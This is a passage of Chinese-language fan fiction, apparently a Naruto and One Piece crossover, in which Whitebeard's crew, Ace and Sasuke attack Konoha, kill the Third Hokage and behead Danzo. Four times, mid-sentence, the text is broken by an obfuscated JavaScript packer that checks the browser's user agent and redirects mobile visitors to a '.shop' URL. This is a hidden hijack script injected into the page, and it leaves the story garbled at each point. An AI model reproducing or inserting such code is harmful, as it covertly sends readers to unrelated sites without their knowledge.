岸边缓步走来一个瘦小的人影。 方才一直沉浸在艰难的棋局之中的白胡子抬头看了一眼,发现正朝他们走来的是一位陌生的老者。他双脚踏上湖面如履平地,很显然是一位刚从村内走出来的忍者。 洛卡下意识地有些失望:“我以为是谁呢,怎么把他给等来了。” 白胡子疑惑地看着她:“这是谁?” “村里管事的。” 洛卡挠头,“虽然他好像也没管成什么事。他是三代火影猿飞日斩,据说在其他人提出灭族宇智波时持反对态度,但最终他的反对也没有起到什么效果;理论上来讲火影在木叶村中有至高无上的地位,但是对于做了一大堆他看不惯的事的志村团藏,他也一直没采取过什么有效手段——不过现在他可能是想要付出行动了?” 白胡子明白了。他放下棋子站起身来,居高临下地望着水面上的猿飞日斩:“阁下只身来此,不会是想要用自己的命换佐助收手吧?” 猿飞日斩神色肃穆:“我倒是想,但恐怕诸位不会同意吧?” 白胡子大笑起来:“所以你真想过要这么干?还真符合你这类人的行事作风啊!” 猿飞日斩皱了皱眉,没有反驳:和对方进行口舌之争不是他的目的。既然眼前这位发动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108775|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大规模地震的、身形远高于常人的老者是敌人的头儿,那就抢在村子彻底覆灭之前把他解决即可。 “就别为难小辈了。”白胡子上前一步挡在洛卡身前,“你也曾算是佐助的长辈,有事直接找我吧!” 佐助? 猿飞日斩一惊:“果然如此……当年那孩子并没有死。所以,你们是宇智波佐助在外找来的帮手。” 洛卡见状,带上装着卡卡西的玻璃罐准备先退回船室之内,临走之前附到白胡子耳边耳语了一番:“……我去将卡卡西和用卡卡西做出来的东西藏一藏。” 白胡子颔首,洛卡正欲离开,抬起头来时却见猿飞日斩正盯着这头不放。 她哈哈一笑,笑声清脆:“火影大人,说来您在这个位置上也挺多年了,早该退休的年纪还被推出来给村子收拾烂摊子,您不觉得累吗?” 说完她随着那个漂浮在她身边的、装着人质的玻璃罐一起不紧不慢地退到了后方,猿飞日斩的视野前方便只剩下白胡子一人。 此人带来的大地震不知是如何发动的,猿飞日斩完全看不出白胡子有伸手结印的迹象。莫非这帮人发动术式无需结印? 脚下的湖水忽然震颤起来,是对方的能力发动了——他没有时间思考,迅速结印使用水遁召出一面水墙,试图阻挡对方的视线。 水遁发动的同时,他却忽感剧烈的疲惫感侵袭而来,双腿打了个颤,险些从水浪渐大的水面上掉进湖里。 那姑娘才问了他一句累不累,他竟真的感到累了。 更糟的是,他能确定水墙已经挡住了对面的视线,但因对方能力而不断从湖面跃起的巨浪还是紧追着他不放。他必须从这紧迫的追击之中抽出身来,加之突如其来的疲倦让他无暇思考,猿飞日斩发出手里剑影分身的同时,不得已提早召唤出了猿魔。 那头白胡子正准备抬手瓦解猿飞日斩的水墙,忽见水墙之内飞出一串乌黑锋利的手里剑,速度极快地朝他的面门破空而来。他大笑不止,使力将那些手里剑纷纷震碎,再去找湖中那位火影时却发现他就站在巨浪正中,瘦小的身形很快被浪花湮没了。 白胡子有些惊讶,却立时感到上空一暗,是什么东西从他上方来了。他仰头去看时突然反应过来:湖中那个快要淹死的大概率是猿飞日斩的分身,眼前这个才是本体? 他抬头看去,却见一只猿猴模样的生物正抡起一根大棒试图砸碎他的脑袋,而那位三代火影还是不见踪影。 用查克拉把自己的气息和行踪隐藏起来了吗? 白胡子对自己的感知力毫无怀疑,他能确定这位三代火影就在附近,只是他一时找不到——等等。 想了几秒,白胡子忽然后退两步,对着那只猿猴高声喝道:“原来如此,真是有趣的障眼法!” 他的语气中竟无半分不耐烦,听来兴致还十分高昂。 猿猴没有回答他,手里的金刚如意棒忽然变大,以一种令人咋舌的速度直朝白胡子的面门而去。 正当此时,猿猴忽觉喉咙一紧,一股强烈的压迫感伴随着眩晕感自正前方袭来,他眼前一黑,险些从半空中摔落下去。 42.042 042 这一击自然没有成功,而猿猴的目的也不过是和白胡子拉近距离而已,因此虽然被那股奇怪的压迫感从半空卷落险些头朝下摔到地面,但总算还是稳住身形站到了白胡子的跟前。 很显然,刚才被留在巨浪正中的不过是猿飞日斩留下的一个分身,他的本体正伪装成猿猴站在甲板之上,手里拿着猿魔化成的金刚如意棒。 猿飞日斩弄不清楚即使遮挡了白胡子的视线、白胡子还是能掌握他的动向的原因,但既然对方如此敏锐,不如试试用分身扰乱对方的感知力——他成功了,土分身成功骗过了白胡子,也就是说,白胡子那诡异的感知力不是没有破解之法。 然而仅仅是走到这一步,猿飞日斩已经觉得浑身上下似乎每根骨头都在打颤;接下来他要做的是顶着这股用尸鬼封尽将眼前的敌人彻底封印。他很清楚,只要眼前这个老者彻底死去,敌方必然大乱。 如意棒与白胡子手里的长薙刀丛云切相击,发出沉重的金鸣之声。 猿飞日斩的体格和力量远远不如对方,对方的丛云切自上而下朝他斩落,他举起如意棒勉强抵抗,巨大的力道震得他双臂一麻,双脚竟连带着踩碎了甲板,陷进了甲板之下。 猿魔化作的如意棒被薙刀的刀刃所伤,锋利的刀刃劈中如意棒后没入了一两寸,猿飞日斩几乎听见了猿魔的痛呼。 几乎要落败之际他让猿魔化出原型,腹部受伤的猿魔伸长双臂抓住了薙刀的刀柄,上半身前倾的同时在猿飞日斩的肩上借力一踮,利用自重将刀身向下压去;身后猿飞日斩已经绕到了白胡子的侧前方,对准他执刀的手使出了水遁。 水遁在接近白胡子之前就被白胡子震开,反溅到猿飞日斩身上,裹挟着武装色的水幕险些割伤猿飞日斩的眼睛;猿魔带着丛云切扑向甲板、甲板被丛云切的刀刃劈开、猿魔与丛云切一同滚入甲板上的破洞失去了音讯;好在几息之后,猿飞日斩连同他的三个分身终于抓住了白胡子的右臂: “好歹……”他喘了口气,“抓住你了。” 趁着分身抓住白胡子的空挡,他撤回手来结印念咒,身后缓缓出现一个身着白袍、头上生角、神情狰狞的虚像。 * 艾斯进村之后便和佐助分开了,并未和佐助一起行动。其余成员似乎也并未对此感到奇怪,各自散开了。这种到了关键时刻让关键人物单独行动的行事作风很叫木叶忍者感到意外,虽然这其中似乎有什么蹊跷但事到如今他们也没有别的办法,只能硬着头皮迎战。 于是身穿黑袍、戴着风帽的艾斯进村没多久就被忍者团团围住,为首之人是一位身穿长袍、长发披肩、瞳色稍异的长者。 艾斯看到他那双看不到瞳仁的眼睛,唇角微勾,似是冷笑。 日向日足开口便问:“你们究竟为何来此?所谓复仇,就是不顾一切毁坏无辜之人的家园吗?” 语气急厉,神色肃然。 艾斯不想同他废话,从袖中掏出一物,迅速向前方一掷——日向日足只觉一股热浪扑面而来,周遭的空气因热浪而扭曲,雪白的火焰忽地在眼前窜起,他只觉双眼一痛,眼角有温热的鲜血汨汨流出。 “你是日向一族的家主日向日足吧?”艾斯用的是问句,语气却十分笃定,“用瞳术的忍者遇上白炎遭到的视力损伤比普通忍者更甚,宇智波一族被灭族后,木叶之中使用瞳术的名门便只剩日向了。村子的存亡和族人的安危相比,相信日向一族应该会有更明智的选择。” 白炎还在持续不断地燃烧,周围还有其他忍者接二连三地发出惨叫。艾斯淡笑:看样子这头的路段是由日向族人守卫的,如此一来会瞳术的忍者为了避开白炎,应该会尽快从这里撤走。 果然身后有一位忍者惨叫起来:“家主,我的眼睛……我的眼睛看不见了!” 此时日向日足的双眼也如同被烧灼一般疼痛难忍,视野中先是一片猩红,紧接着竟然连那片猩红都逐渐消失了,眼前慢慢陷入黑暗:“……都别慌,你们先撤!” “家主,我们一起撤吧!” “请等一等。”艾斯的语气不知为何有些漠然,“劳驾各位把团藏叫来,或者,你们当中有人知道他的行踪吗?” 无人回答他的问题。有两个忍者一左一右架住了日向日足迅速后撤,很快此处便安静下来。 “啧。” 他抬步继续向村内走去,不紧不慢地将刚才的内容重复了一遍,“我知道你们还在附近,我也知道团藏一这种时候就容易不见踪影。只要将团藏交给我,我可以放过与此事无关的其他人……或者说,放过【根】的其他人。” 要不了多久,这消息就会传遍全村。 艾斯一边向前走,一边将储存了一部分白炎的水晶球收回袖中——刚才他就是放出了这只水晶球,才能不费吹灰之力将周围来自日向的忍者喝退。 日向的家主从此失明,此番可谓是损失惨重,日向家大概不会愿意再掺和这件糟心事了吧? 接下来,这些人又愿意为团藏隐瞒多久呢?或者说,如今站在木叶土地之上的所有忍者,都能心甘情愿为了团藏这样的人去死吗? 周身的白炎逐渐燃尽,他也缓缓睁开了眼睛。 * 佐助沿着林子边缘走了许久,正要不耐烦的时候忽然注意到侧后方跟了个不远不近的影子。 他放慢了步子:“在这大太阳底下跟我走了半晌了,不嫌弃的话不如出来同我聊聊天?” 那个影子停了停,还是从一棵巨树后缓步走出:“你不是佐助,你是谁?” “佐助”哈哈大笑:“你们兄弟分开已经十年之久,你的眼光竟还如此毒辣,该说不愧是佐助的亲生哥哥吗?” 他说着,身上以查克拉布成的伪装一寸一寸剥离,渐次露出艾斯真实的脸庞和声音,“初次见面,我叫波特卡斯·D·艾斯,是佐助的哥哥!” 他比他伪装出来的“佐助”要高出很多。洛卡在他身上布下的幻术让他变作了十二岁时佐助的模样。 因为是初次见面,他还对鼬扯出来一个相当灿烂的笑。 “你说你是佐助的哥哥?” 宇智波鼬开口时竟感到一瞬的荒诞,“这么说,佐助失踪五年之久是你们的手笔?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112268|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他在你们这头果然被处理成失踪了吗?”艾斯挠挠头,干脆在附近的一块岩石上坐了下来,“你若想了解一下过去这几年佐助的经历,我也可以仔细同你讲一讲。其实虽然在这里才过五年,但佐助在我们那头已过十……” “不必了,人贩子的话当不得真。”宇智波鼬下意识地拒绝了,语气愈发淡漠,“你为何装成佐助的样子在此处游荡?” 艾斯抬起头,黑色的额发之下一双火焰色的瞳仁十分瞩目:“这是佐助和洛卡……也就是我们的另一位同伴一起想出来的主意。佐助失踪将近十年,乍一见到你也不一定愿意接近你;至于你,比起十年间很可能已经完全遗忘或仇视木叶的佐助,恐怕你更想知道顶着佐助身份在村里走来走去的我是怎么回事。” 宇智波鼬心中微沉:从刚才开始他就对眼前的陌生人发动了幻术,可对方竟似对此毫无所惧,全无中招的迹象;直到现在他才看清对方根本没有瞳仁——或者说是用什么术将瞳仁藏了起来。 若是能让对方陷入月读,掌握佐助过去五年的踪迹又是什么难事? “对了,如果你今天遇到的真是佐助。”艾斯再次发问,“你准备对他怎么做?用别天神强行改变他的意志、要他回到木叶为杀了他所有族人的木叶鞠躬尽瘁死而后已吗?在你看来,今年他应该才十二三岁吧?” 宇智波鼬一惊:这种事他怎么会知道? 什么叫在他看来佐助今年只有十二三岁?佐助今年本该就十二三岁才对——莫非对方用什么邪术影响了佐助的年龄? 黑色的火焰瞬间包围了艾斯——那是宇智波鼬的瞬间反应,既然幻术奈何他不得,那他只能使用不将目标烧尽便不会停下来的天照了。 天照沿着艾斯的小腿一路纠缠而上,很快便将艾斯包裹其中。然而很快那团黑色的火焰便哗啦一声炸开,向四周蔓延开去,被一股温度极高的热浪裹挟着直朝宇智波鼬而来,反将宇智波鼬围在了正中。 “看样子你是不想好好说话了。”艾斯还是坐在岩石上,一副气定神闲的模样,“你既然曾想用别天神改变佐助的意志、甚至已经设好了此局,那我也没必要跟你客气。实话说了吧,我是来拿你的眼睛的。” 面对如此诡异的巧合、如此嚣张的挑衅,宇智波鼬竟还是十分冷静:“你竟连这个都知道?” 鼬在外头行走这么多年,各村的能人异士他多少都听说过,即使只是略出众些的他也有所耳闻,但此前从未听过宇智波之外还有能用如此手段反制天照的人物。 “来之前我的同伴对我说过,当初你也是为了让佐助活下来才愿意参与灭族的行动。”艾斯从岩石上站了起来,一步一步走到他跟前,“既然如此,就请你放他自由吧。” “没有和平,什么自由都不过是虚假之物。”宇智波鼬第一次回答了艾斯的问题,“更何况,对木叶复仇也不过是走向自我毁灭而已——复仇的尽头什么都不会有。” “这可不是由你来定的。”艾斯面色一肃,指尖显现几朵耀眼的火花,“而且这话也根本轮不到你来说。将佐助推上复仇之路的,不正是你宇智波鼬吗?” 43.043 043 猿飞日斩发现对面的白胡子被他抓住之后就不动了。 他已经将对方关在了尸鬼封尽的空间之内,术式似乎震慑住了白胡子,他一时呆住了。 即使他还不死心想要挣脱出去,他那催动了地震的能力也无法将空间催开哪怕一丝裂缝,因此就算先前猿飞日斩的真身混在那些分身之内,被白胡子的能力震得几乎五内俱焚,他也还苟延残喘着,没有倒下。 到这里,他只成功剥除了对方的三根手指。 白胡子身高超过六米,对猿飞日斩来说实在过于高大。对方的能力发动无需结印、无需念咒,似乎没有使用限制,还能自由控制范围和规模。只废了他的手似乎也没有意义,但眼下这已经是猿飞日斩尽了最大努力的结果了。 就算不能将他彻底封印,若能封印他的半身、使他就此瘫痪也是好的。 这么想着,猿飞日斩压下胸肺传来的剧痛,试图继续封印白胡子。 他从白胡子体内拖出来的当然不是查克拉,灵魂的质地也与以往不同,是更为灼热、烈性的别的什么东西,抓在手里竟觉得十分滚烫。猿飞日斩顾不得这些,满脑子都是趁这个对方右臂失能的绝佳机会将其封印——他又吐出一口血,觉得自己的视线似乎开始模糊了。 不能放弃。就算是为了村里的小辈,他也该尽快结束这场战斗。 灵魂的剥离已经从右臂蔓延到胸腔,到了这里,猿飞日斩忽然惊觉,他从对方体内拖出来的东西从刚才那极为滚烫、烈性的质地变成了他极为熟悉的东西——是查克拉,而且,是猿魔的查克拉。 猿飞日斩的动作下意识地停住了。 猿魔怎么会在尸鬼封尽的空间之内?理论上来说,尸鬼封尽的空间一旦出现,猿魔就该进不来了才对。 先前他分明看到,他攻击白胡子时白胡子似有几声咳嗽,很显然多次遭到攻击、多次发动能力牵动了对方体内的什么旧疾,他也是抓住了这机会才能抓住对方将其拉进空间之内,怎么现在,被他封印的竟成了猿魔? 正当此时,对面的猿魔也醒了过来——不错,是醒了过来。他本是听从猿飞日斩的指示,不惜自伤卷走了敌方那柄长武器,跌入甲板的破洞之后便人事不知了。昏过去之前他似乎看到了一个生着满头白发的瘦弱姑娘,那姑娘对他说了句什么话,他有些记不清了。 眼下他感到胸腔剧痛,似是有人生生将他的心脏挖去,这惊惧的痛感催他醒了过来。他睁开眼睛,什么也瞧不见,只觉自己四肢张开、腰腹沉重,像是被装进了一副钢铁铸就的躯壳里,动弹不得。 动弹不得?不,他还是能动的。他的左手可以动。 他脑中悠悠回荡着一道清脆的、陌生的女声:“你在此处受的痛苦和屈辱,全拜这些你从未见过的敌人所赐。不如我送你一把短刀,等你醒来便用这刀杀了敌人,也好出口恶气……” 是啊,他和三代火影何曾受过这样的鸟气? 他转了转左手的手腕,果然感到自己的左手正捏着一支刀柄。他越想越觉得那陌生女子说得在理,虽然此刻没有视力,但他能感到那敌人就站在他的跟前。 于是他毫无犹豫地伸出左臂,向前刺去。 紧接着,他听到了一声熟悉的痛呼。 对面猿飞日斩被这突如其来的攻击掼得向后一倒,难以置信地望着猿魔:“为……什么……发生了什么事……” 那具困住猿魔的躯壳因猿魔的动作逐渐散去,哗啦啦化成一股又一股浅紫色的液体。猿魔右边身体已然被封印,从躯壳中解脱出来之时没能站稳,就这么瘫倒在猿飞日斩的跟前。 “……怎么,是您?”猿魔愣住,“怎么会是您……这里是哪里?” 猿飞日斩无法回答。刺入他胸膛的短刀上涂满了魔药,他的神智开始模糊,五感逐渐流失,眼前不断变幻着来自过去的、破碎的记忆,他很清楚这是临死之象。 濒死之际,他忽然想起对白胡子使用水遁时反被对方弹开形成的水幕,猛地明白过来:“原来……原来如此,我是叫人给摆了一道……” 他缓缓阖上双眼。 同时猿魔忽觉眼前景象一变,他又回到了那艘熟悉的船上,眼前横着三代火影的遗体;遗体的正前方,还站着三代火影曾拼死战斗过的那个身形高大、长着上翘白胡子的老者。 有一白发女子乖巧地坐在那高大的老者肩上。猿魔认了出来,正是那个先前蛊惑了他的女子。他正欲上前攻击那无耻的二人,却因三代火影身死,他无力再在此地支撑,拖着已然残废了半边的身子消失在了此处。 洛卡一笑,从白胡子肩上飞至地面,仔细瞧了瞧三代火影的尸首:“好了,将他的遗体送回村内,想必木叶内部必然会军心涣散、无心再战了。” 白胡子很为洛卡的本事感到惊叹:“此人的术式颇为诡异,看来我还是轻敌了。” 他与猿魔互换的过程其实也是个无聊的障眼法:猿飞日斩对白胡子使出的水遁被白胡子震开,水帘暂时遮挡了猿飞日斩的视线;与此同时猿魔也落入了洛卡事先准备好的人偶之中,她将人偶召至甲板之上,替换了险些被拉进尸鬼封尽空间的白胡子。 那挡住猿飞日斩视线的水幕自然也被白胡子动了手脚:震开那水遁时,他将混杂了洛卡魔力的湖水混入其中,水幕包围了猿飞日斩的眼和耳,短暂形成了玻璃罐一般的效果,叫身处其中的猿飞日斩看到了仅仅一瞬的、成功抓住了白胡子的幻境。 虽是一瞬,用来混淆视听也足够了。 甲板之下躺着好几具洛卡和佐助事先做好的人偶,洛卡先用魔药做出人偶、佐助又用查克拉为人偶做了易容。因此人偶的外表十分接近本人,是洛卡近期最满意的作品——没想到在遇到宇智波带土之前就被猿飞日斩耗去一具,她实在有些肉痛。 “倒也不是您轻敌,谁能想到火影会离开村子独自迎战?”洛卡安慰了白胡子一句,“万一被尸鬼封尽拉了进去,哪怕您使劲浑身解数恐怕都很难再逃出来,我们不能冒此奇险。” 既然如此,就让这位火影大人和他亲手召唤出来的通灵兽互相消耗去吧。 * 褪去伪装的佐助在村屋背后的一座石桥上等了许久,终于看到一个眼熟的身影缓缓从石桥的另一端走了过来:“真是令人感动,过去这么多年了竟还有年轻人记得我这个旧时代的老人。” “我就是特意来找你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116429|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,怎么敢忘。”佐助状似无意地看了一眼团藏那藏在衣袖之下的右臂,“我也觉得很感动,志村团藏竟也有为了村子、为了部下放弃逃避、挺身而出的一天。” “……”志村团藏倒不至于被这几句阴阳怪气的挑衅之语激怒,“宇智波一族竟有你这个年纪的漏网之鱼,看来木叶确实需要整顿了。” 佐助也笑了:“这么说来,五年前你们连我这个年纪的孩子都没放过是吗?”他说话时有紫色的雾气环绕在侧,周身有清晰的骨骼结构渐次架起,原本仅有骨架的双臂拉开弓箭对准团藏的同时,骨架上迅速生出血肉、血肉之外又很快覆上一层铠甲。 多亏了他哥哥和洛卡的陪练,他对查克拉的操控更加得心应手,须佐能乎也已经形成了完全体。 第一支箭没能命中,但缠于箭上的黑色火焰蹭到了团藏的衣角。 佐助冷眼看着很快被天照吞噬的团藏——这样一来就要有一只眼睛被消耗了吧? 最好是能速战速决,毕竟等这头结束了他还得赶回去救人。 他等不得对方一只一只地用那眼睛了。 而志村团藏的身影也的确从熊熊燃烧的黑色火焰之中消失,出现在了不远处的一片安全的空地上。 第二、第三支箭连续破空而来,团藏没有再中招,躲开两支箭后又离佐助远了些;他的手臂上,有一只赤红的眼睛缓缓合上了眼睑。 是伊邪那岐生效了,本应被天照烧死的团藏靠它捡回了一命。 “你也配用宇智波的东西?” 佐助见状嗤笑一声,还未来得及射/出下一箭,便听一声哨响,似有什么锐器自团藏处向他飞来,是团藏的风遁,似乎是叫什么真空玉。 真空玉的原理与枪炮子弹类似,佐助在当海贼时不知见过多少。此刻他都不用特意去避,须佐能乎已经帮他尽数挡开。 面对对准自己的弓箭,团藏面上倒是未见慌乱。他使出风遁来与那足以切断一座小楼的弓箭对抗,弓箭遇到风遁被劈得向一侧歪去,此击未中,对面的佐助对此毫无反应,仍然静静地站在原地。 团藏忽然感到一丝诡异:对方为何半天没有动作? 紧接着他忽然感到胸腹传来一阵剧痛——是那弓箭已经自上而下贯穿了他的胸膛。这倒不要紧,他可以用伊邪那岐—— 等等。 他忽然感到右臂的袖管一空,是那条埋着眼睛的手臂不知何时已经被佐助扯了下来,此刻已被投进天照之中。 而他正被箭矢架着,哪怕挣扎一寸都会痛得钻心刺骨。 为什么情势会如此这般急转直下? 团藏瞪大了眼睛去看佐助——他的双眼赤红,颜色正如他所见过的其他所有宇智波一族的眼睛一般。略有不同的是,他的双瞳呈现出万花筒的形状,漂亮而对称。 团藏恍然:原来是中了幻术?等一等,这么说来他是从刚才开始就中了幻术,还是说现在他经历的这一切才是幻术? “我知道你还有一只十分要紧的眼睛。”佐助说着,一步一步走到他跟前,将手伸向团藏绷带之下的那只右眼,“无福消受的东西放这么多在自己身上,连眼睛都换成了别人的,你还看得清你自己吗?” 44.044 044 马尔科避过对面忍者甩过来的苦无,右半边身子刚从元素化后的蓝翅状恢复,就见兜里的水晶球忽然亮了一亮。 这是来到此世之前洛卡分发给各位队长的,是在紧急时刻作联络之用,同时具备定位功能,很耗魔力。此时双方开战才没多久,莫非是老爹那头出事了? 马尔科正想往回赶,却见头顶忽然出现一个紫黑色的大阵,一个人形的物事渐渐从里头被推了出来。同时此地的几位队长携带的水晶球忽然同时响起一道清脆的女声: “猿飞日斩已死,现将遗体归还。我们并不想对木叶赶尽杀绝,也并未对猿飞日斩的遗体作出任何凌辱之举,无论结果如何,毕竟他曾反对宇智波灭族一事。你们的火影死于只有他本人能用的尸鬼封尽之术,此事你们一看他身上残留的术式便知。” 现场几个水晶球齐齐响起,虽然洛卡声音不大却滑稽地形成了一种立体音响的效果,魔音绕耳一般贯穿了在场木叶忍者的耳朵。 猿飞日斩的躯体从魔法阵中掉落,有一位忍者疾奔过去接住了他——很快那忍者便发现洛卡所言非虚,猿飞日斩的遗体被简单清理过,衣物有些破损脏污,但正服帖地穿在身上;面部干净齐整,伤口处的血迹很显然也被擦拭过,浑身上下未见有多狼狈。 若不细看,猿飞阿斯玛还以为父亲只是睡着了。 这才开战多久?火影大人竟战死了? 可他身上留下的术式确为尸鬼封尽之术,那道奇诡的女声并非信口胡说。 猿飞阿斯玛逼迫自己冷静下来:“不要慌张!火影大人死于尸鬼封尽之术,说明对方也已遭封印,火影是为保护村子而死!” “呸呸呸,你说谁被封印了?” 水晶球里那道女声十分不满地反驳,“我们的船长可好着呢。” 她身后果然传来一道虽已老迈、但十分清晰有力的男声:“洛卡,你忙活这一阵也很累了,过来吃些烤鱼。” 洛卡那头应了一声,头顶那个紫黑色的魔法阵很快消失,马尔科手中那个水晶球的光也黯淡了下去。 同时与多人持续通话太耗魔力,大约是洛卡那头单方面切断了通话。 周围静了一瞬,不远处的奥兹开心地大叫起来:“太好了!原来老爹他没事啊!” 他开心地蹦了一蹦,脚下的地面被他这一跺脚震得剧烈一晃,震飞十数个站在他附近试图攻击他的忍者。 海贼们闻言搁下战局高声欢呼起来,衬托得木叶那头境况更为惨淡。猿飞阿斯玛抱着火影的遗体久久不语,这让原本还不死心、尚在猜测是不是敌方弄了个假尸体来扰乱视线的忍者们渐渐不安起来:“火影大人……真的不在了?” ——“这有什么好怀疑的?” 前方传来一道陌生的男声。猿飞阿斯玛抬头看去,是前几天高调出现在村内还破坏了影岩的宇智波佐助。 他的实际年龄和当年失踪时对不上,到现在为止木叶之中没人想到他就是当年那唯一一个从灭族之祸中幸存下来、后来又神秘失踪的宇智波佐助,但看到他黑袍之上眼熟的家徽却也能认出他来自哪里。这么多年,他还是一直记得自己的来处。 此刻佐助正提着一个物什朝此处走来,那物什不知为何还滴滴答答地淌着水——近了才看清,那不是水,而是成串的血珠,正从团藏被斩断的脖颈哗啦啦地砸向地面。 那正是志村团藏的头颅。 他将那头颅往猿飞阿斯玛跟前一丢:“我会遵守诺言,放过【根】的其他人员。你们若是及时止战投降,我……不,我们就立刻离开,不再为难。” 佐助说这话其实是出自真心,落在对面的忍者耳中便是十足十的挑衅。猿飞阿斯玛放下父亲的遗体,红着眼朝佐助冲了过去——他不明白为什么木叶会飞来横祸、为什么本该死去的旧人竟奇迹般生还、为什么上天不肯眷顾他那勤勤恳恳操劳一生的父亲,为什么眼前这宇智波族人几天前放出的诳语竟能一一实现?! 他的体术在佐助的万花筒跟前不堪一击。佐助抽出一直佩于身后的、大约一刻前刚刚斩落团藏头颅的长刀,向阿斯玛的方向轻轻一挥便切断了他握着查克拉刀的右手。 “你与宇智波一事无关。”佐助瞥了猿飞阿斯玛一眼,“不要再上前。” 猿飞阿斯玛听了这话只感到荒谬:“你是想让我们相信,你虽是来复仇的,却拥有能放过无关之人的宽广胸怀?” 他不顾流血不止的右手腕,还想上前,被身边其他忍者及时拦住:“别去了……我们不是他的对手。” 佐助转过头去看着悲愤不已的猿飞阿斯玛,眼底一派平静:“你知道我是怎么找到团藏的吗?是你们的顾问水户门炎和转寝小春在我逼退日向一族后主动出现,以团藏的下落为条件让我放过木叶其他人。” 猿飞阿斯玛下意识地否认:“不可能!” “怎么不可能?以前能为了所谓的村内和平放弃宇智波,现在就能为了村内和平放弃志村团藏。你们的顾问做事风格一直没有变过,从以前到现在不都是以村子的安危为最优先吗?” 他话里讽刺之意甚浓,猿飞阿斯玛目眦欲裂地要挣脱同伴的阻拦冲上前去,却因右腕失血过多眼前一黑便栽倒在地。 再抬头时才注意到,那头佐助连看都没看他们一眼,已然朝反方向走远了。 * 站在林中的宇智波鼬轻咳两声,压下了胸中翻涌而上的血气。 幻术和天照对眼前这位自称佐助哥哥的人贩子均无效果,他不得不召出须佐能乎去对付艾斯。然而一切物理攻击都够不到能够随时化成火炎的艾斯——他甚至能化成火炎躲进鼬放出的天照之中。 艾斯的能力和查克拉有很大的区别,鼬只能靠这一点勉强辨认艾斯的所在。 但艾斯化成火炎之后分散藏匿在四周的黑炎之中,鼬很难辨出哪一处才藏着艾斯的实体,抑或是,每一处都是艾斯的实体? 长时间负担须佐能乎让鼬感到自己的生命力正在不断流失,而被须佐能乎握在手里的剑却未曾刺中艾斯哪怕一次——只需要刺中一次,一切就都结束了。 鼬喘了口气,在周围天照燃得正盛时突然收回了天照,躲在天照之中化成同色黑炎的艾斯没想到他居然能如此轻易将天照收回,惊得火焰尖尖都抖了一抖,不得不迅速作出反应——黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122268|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炎分成十几股向空中窜去,竟就这么溶进周围的空气里头不见了踪影。 同时鼬感到周围的温度陡然上升,肉眼看不见却足以扭曲视线的热浪将他包围其中,很快他就感到身上的层层衣料都被汗浸湿,额头的汗液甚至阻挡了他的视线,侧前方离得近的树叶枝杈都开始发黄枯萎,不过瞬间的工夫,他几乎置身一个蒸笼之中。 火焰竟也能隐去自己的颜色吗? “真是吓我一跳。” 艾斯的声音从四面八方传来,“你竟能将天照瞬间收回?佐助似乎还不行啊,回头我跟他说说这事去。” 一个人贩子,说话句句不离佐助还总是以佐助的家人自居,实在令人生厌。 十拳剑无法直接封印风和火,但它又根本接触不到艾斯的实体。周围的温度越升越高,早已超过人体所能承受的极限,周围树木花草甚至开始自燃,不过是鼬还在凭借须佐能乎苦苦支撑而已。 “看样子总算能好好谈谈了——当初你保下佐助一命,我实在不想将你活活烤死。”艾斯的声音裹在风里,听来有些不太真切,“我知道你愿意倒戈站在木叶那头,也有高层捏着佐助的命威胁了你的缘故。你既然想保下佐助,又为什么想要强行改变他的意志?” 鼬久久不语。静了半晌,他才抬头问道:“佐助应该不知道这些,你究竟是从何处得知?” 莫非他和宇智波一族有什么隐秘的关系? “我自有我的办法。”艾斯友善地笑了笑,“很抱歉,这事关我同伴的秘密,所以不能告诉你。鼬,当初你因为想保护佐助的性命和所谓村内的安定协助木叶高层杀害了自己的族人,导致不止一位同族的眼睛落入团藏之手、更为木叶招来了今天的祸事,你后悔过吗? 你要用别天神强行改变佐助的意志,难道你不知道佐助自小就有极高的自尊,摧毁他的意志犹如折断他的灵魂?他如果不再是佐助,那你当初保下他的性命又有什么意义,是留着他的命好叫他去承受更多的羞辱吗?” 鼬垂下眼睑:“让他知道真相在你眼里竟是羞辱吗?” 